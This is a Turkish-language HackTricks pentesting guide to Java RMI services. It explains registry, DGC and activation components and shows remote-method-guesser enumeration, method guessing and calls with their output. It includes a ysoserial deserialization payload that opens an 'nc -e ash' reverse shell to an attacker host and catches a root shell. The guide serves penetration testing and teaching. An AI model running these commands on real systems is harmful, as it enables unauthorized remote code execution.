1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu

  • 💬 Discord grubuna katılın veya telegram grubuna veya Twitter 🐦 @carlospolopm'ı takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

[Trickest]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Temel Bilgiler

Java Uzak Yöntem Çağrısı, veya Java RMI, bir RPC mekanizmasıdır ve bir Java sanal makinesinde bulunan bir nesnenin başka bir Java sanal makinesinde bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından Java RMI hakkında kısa bir tanıtım bu blackhat sunumunda bulunabilir.

Varsayılan port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Genellikle, yalnızca varsayılan Java RMI bileşenleri (RMI Registry ve Activation System) ortak bağlantı noktalarına bağlanır. Gerçek RMI uygulamasını uygulayan uzak nesneler genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır.

nmap bazen SSL korumalı RMI hizmetlerini tanımlamakta zorluk yaşayabilir. Ortak bir RMI bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.

RMI Bileşenleri

Basitçe ifade etmek gerekirse, Java RMI bir geliştiricinin bir Java nesnesini ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve karşılık gelen nesnede yöntemler çağırabileceği bir TCP bağlantı noktası açar. Bu basit gibi görünse de, Java RMI nin çözmesi gereken birkaç zorluk vardır:

  1. Java RMI aracılığıyla bir yöntem çağrısını yönlendirmek için istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedef nesnenin ObjID değerini ( ObjID, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Java RMI, aynı TCP bağlantı noktasında birden fazla nesnenin dinlemesine izin verir çünkü gereklidir).

  2. Uzak istemciler, sunucuda bulunan nesnede yöntemleri çağırarak kaynaklar ayırabilir. Java sanal makinesi, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir.

İlk zorluk, temelde bir Java RMI için bir isimlendirme hizmeti olan RMI registry tarafından çözülür. RMI registry kendisi aynı zamanda bir RMI hizmeti olmasına rağmen, uygulanan arabirim ve ObjID sabit ve tüm RMI istemcileri tarafından bilinir. Bu, RMI istemcilerinin ilgili TCP bağlantı noktasını bilerek RMI kaydını tüketmelerine olanak tanır.

Geliştiriciler, Java nesnelerini ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir RMI registry 'e bağlarlar. Registry, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve ObjID değeri) ve bunu insan tarafından okunabilir bir isim altında ( bağlı isim) kullanılabilir hale getirir. RMI hizmetini tüketmek isteyen istemciler, RMI registry 'den ilgili bağlı ismi ve kayıt, bağlantı için gerekli tüm bilgileri isteyebilir. Dolayısıyla, durum temelde normal bir DNS hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Yukarıda bahsedilen zorluklardan ikincisi Dağıtılmış Çöp Toplayıcı (DGC) tarafından çözülür. Bu, bilinen bir ObjID değerine sahip başka bir RMI servisi ve temelde her RMI uç noktasında mevcuttur. Bir RMI istemcisi bir RMI servisini kullanmaya başladığında, ilgili uzak nesnenin kullanımda olduğuna dair bir bilgiyi DGC'ye gönderir. DGC daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.

Eski Aktivasyon Sistemi ile birlikte, bunlar Java RMI'ın üç varsayılan bileşenidir:

  1. RMI Kayıt Defteri (ObjID = 0)

  2. Aktivasyon Sistemi (ObjID = 1)

  3. Dağıtılmış Çöp Toplayıcı (ObjID = 2)

Java RMI'ın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuş ve eski Java sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak oldukça kolaydır. Bu durum özel RMI servisleri için farklıdır. Bir uzak nesne üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir RMI servisiyle iletişim kurmanın bir yolu yoktur.

RMI Numaralandırma

remote-method-guesser, otomatik olarak yaygın RMI zayıflıklarını tanımlayabilen bir Java RMI zayıflık tarayıcısıdır. Bir RMI uç noktası tanımladığınızda, denemelisiniz:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Enumeration eyleminin çıktısı projenin belgelendirme sayfalarında daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak tanımlanan zafiyetleri doğrulamaya çalışmalısınız.

remote-method-guesser tarafından gösterilen ObjID değerleri hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamaya olanak tanır:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme

Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut RMI hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, RMI iletişimi RMI varsayılan bileşenlere karşı serileştirme filtreleri ile korunsa da, özel RMI hizmetleriyle iletişim kurulurken bu tür filtreler genellikle mevcut değildir. RMI hizmetlerinde geçerli metod imzalarını bilmek bu nedenle değerlidir.

Ne yazık ki, Java RMI uzak nesnelerde metodları sıralamayı desteklemez. Bununla birlikte, remote-method-guesser veya rmiscout gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Tanımlanan yöntemler şu şekilde çağrılabilir:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ya da şu şekilde deserializasyon saldırıları gerçekleştirebilirsiniz:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Aşağıdaki makalelerde daha fazla bilgi bulunabilir:

Tahmin etmenin yanı sıra, karşılaşılan bir RMI servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya GitHub üzerinde de bakmalısınız. Bound name ve uygulanan sınıfın veya arayüzün adı burada yardımcı olabilir.

Bilinen Arayüzler

remote-method-guesser, sınıfları veya arayüzleri, bilinen RMI servisleri veritabanında listelenmişse known olarak işaretler. Bu durumlarda, ilgili RMI servisi hakkında daha fazla bilgi almak için known eylemini kullanabilirsiniz:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Araçlar

Referanslar

HackTricks Otomatik Komutları

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated